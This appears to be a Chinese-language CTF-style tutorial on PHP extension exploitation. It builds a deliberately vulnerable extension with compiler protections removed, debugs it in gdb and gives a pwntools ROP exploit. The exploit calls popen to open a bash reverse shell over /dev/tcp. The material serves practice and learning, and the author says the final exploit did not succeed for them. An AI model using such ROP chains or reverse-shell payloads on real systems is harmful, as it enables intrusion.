php拓展模块开发
我们开发的是一个漏洞函数,为了后面进行调试
环境搭建
本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境
安装php,以及php开发包头
$> sudo apt install php php-dev
$> php -v 查看php版本
我的版本为7.2.24,之后我们去php的github的源代码发布页面上下载相同版本的源代码。
php-7.2.24
|____build --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
|____ext --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
|____main --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。 |____netware --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。 |____pear --扩展包目录,PHP Extension and Application Repository。
|____sapi --各种服务器的接口调用,如Apache,IIS等。
|____scripts --linux下的脚本目录。
|____tests --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
|____TSRM --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
|____win32 --Windows下编译PHP 有关的脚本。
|____Zend --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。
模块生成
扩展模块开发首先我们进入源代码目录,使用如下目录生成扩展模块的工程项目
第一步:进入目录
cd /source code/ext
第二步:创建模块文件
./ext_skel –extname=easy_phppwn
第三步:写入拓展代码
第四步:生成configure文件
在当前目录执行:phpize
第五步:配置编译
./configure –with-php-config=/usr/bin/php-config
第六步:修改Makefile
取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数,并且加上取消canary的保护
第七步:编译并增加php配置
利用make指令进行编译,扩展目录下的modules目录,会生成一个.so,这个就是最终生成的扩展二进制文件。
此时需要编辑PHP配置文件php.ini,增加一行扩展配置:
sudo vim /etc/php/7.2/cli/php.ini
最后我们进行测试一下:
php -m | grep easy_phppwn
如果成功则会显示:
调用写的函数
// easy.php
<?php
$a = "abcd";
easy_phppwn($a);
?>
执行:
php拓展模块的调试
IDA分析
反编译我们加载的so文件:
触发漏洞
from pwn import *
def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php easy_phppwn(urldecode("%s")); ?>'''%urlencode(buf))
buf = 'a'*0x80
buf += 'b'*0x10
create_php(buf)
gdb调试
执行gdb php
接下来执行run
ctrl+c后利用vmmap查看,我们可以看到已经加载了easy_phppwn.so
我们现在可以设置断点了,如果在run之前设置会提示找不到该函数,设置断点我们需要设置真正的函数名,其实是zif_funcname,也就是我们在ida中看到的函数名,这里就是zif_easy_phppwn,同时设置参数为之前生成的pwn.php文件
此时我们断在zif_easy_phppwn
break zif_easy_phppwn
设置执行文件
set args ./pwn.php
再次运行
run
就成功断住了:
exp
原作者说:phppwn题目来说,是基本没法使用one_gadget,system(‘/bin/sh’)来直接获取交互式shell的,所以这里通过使用popenv来开启一个反弹shell到vps上,当然其实还可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode。
from pwn import *
context.update(os="linux",arch="amd64")
def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc.address = 0x7ffff5e25000
pop_rdi_ret = 0x2155f+libc.address
pop_rsi_ret = 0x0000000000023e8a+libc.address
popen_addr = libc.sym['popen']
command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'
stack_base = 0x7fffffffa548
stack_offset = 0x1c330
stack_addr = stack_offset+stack_base
layout = [
'a'*0x88,
pop_rdi_ret,
stack_base+0x60,
pop_rsi_ret,
stack_base-0x8,
popen_addr,
'r'+'\x00'*7,
'a'*0x60,
command.ljust(0x60, '\x00'),
"a"*0x8
]
buf = flat(layout)
create_php(buf)
直接执行php文件无法getshell不知道为什么。
参考链接: